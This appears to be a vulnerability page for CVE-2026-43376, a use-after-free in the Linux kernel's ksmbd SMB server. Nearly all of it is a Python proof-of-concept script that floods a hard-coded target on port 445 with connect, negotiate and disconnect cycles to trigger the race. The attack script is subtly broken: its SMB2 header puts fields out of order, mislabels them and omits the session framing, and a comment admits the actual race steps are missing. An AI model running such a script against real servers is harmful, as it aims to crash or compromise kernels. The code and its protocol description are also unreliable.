CVE-2026-43376 Linux内核ksmbd释放后重用漏洞

# PoC for CVE-2026-43376 (Conceptual) # This script demonstrates the network interaction required to trigger the ksmbd race condition. # Note: Exploiting UAF requires precise timing and racing against the kernel scheduler. import socket import struct import time TARGET_IP = "192.168.1.10" TARGET_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 Negotiate Protocol Request header smb2_header = b'\x00\x00\x00\x00' # SessionId smb2_header += b'\xfe\x53\x4d\x42' # Protocol ID smb2_header += b'\x40\x00\x00\x00' # Structure Size (64) smb2_header += b'\x00\x00' # Credit Charge smb2_header += b'\x00\x00' # Status (0 for Success placeholder) smb2_header += b'\x00\x00' # Command (0x0000 = NEGOTIATE) smb2_header += b'\x00\x00' # Credits smb2_header += b'\x00\x00\x00\x00' # Flags smb2_header += b'\x00\x00\x00\x00' # NextCommand smb2_header += b'\x00\x00\x00\x00' # MessageId smb2_header += b'\x00\x00\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # TreeConnectId smb2_header += b'\x00\x00\x00\x00' # SessionId smb2_header += b'\x01\x00' # Dialect Count (1) smb2_header += b'\x02\x02' # Security Mode smb2_header += b'\x00\x00' # Reserved smb2_header += b'\x00\x00\x00\x00' # Capabilities # In a real scenario, we would send a rapid sequence of oplock requests # and disconnects to race the kfree() vs RCU read-side access. try: sock.sendall(smb2_header) print("[+] Packet sent to trigger race condition.") except Exception as e: print(f"[-] Send error: {e}") try: # Rapidly connecting and disconnecting to stress oplock handling for i in range(100): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(1) s.connect((TARGET_IP, TARGET_PORT)) send_smb_negotiate(s) # Closing immediately might trigger the race in oplock cleanup s.close() time.sleep(0.01) except Exception as e: print(f"[-] Error: {e}")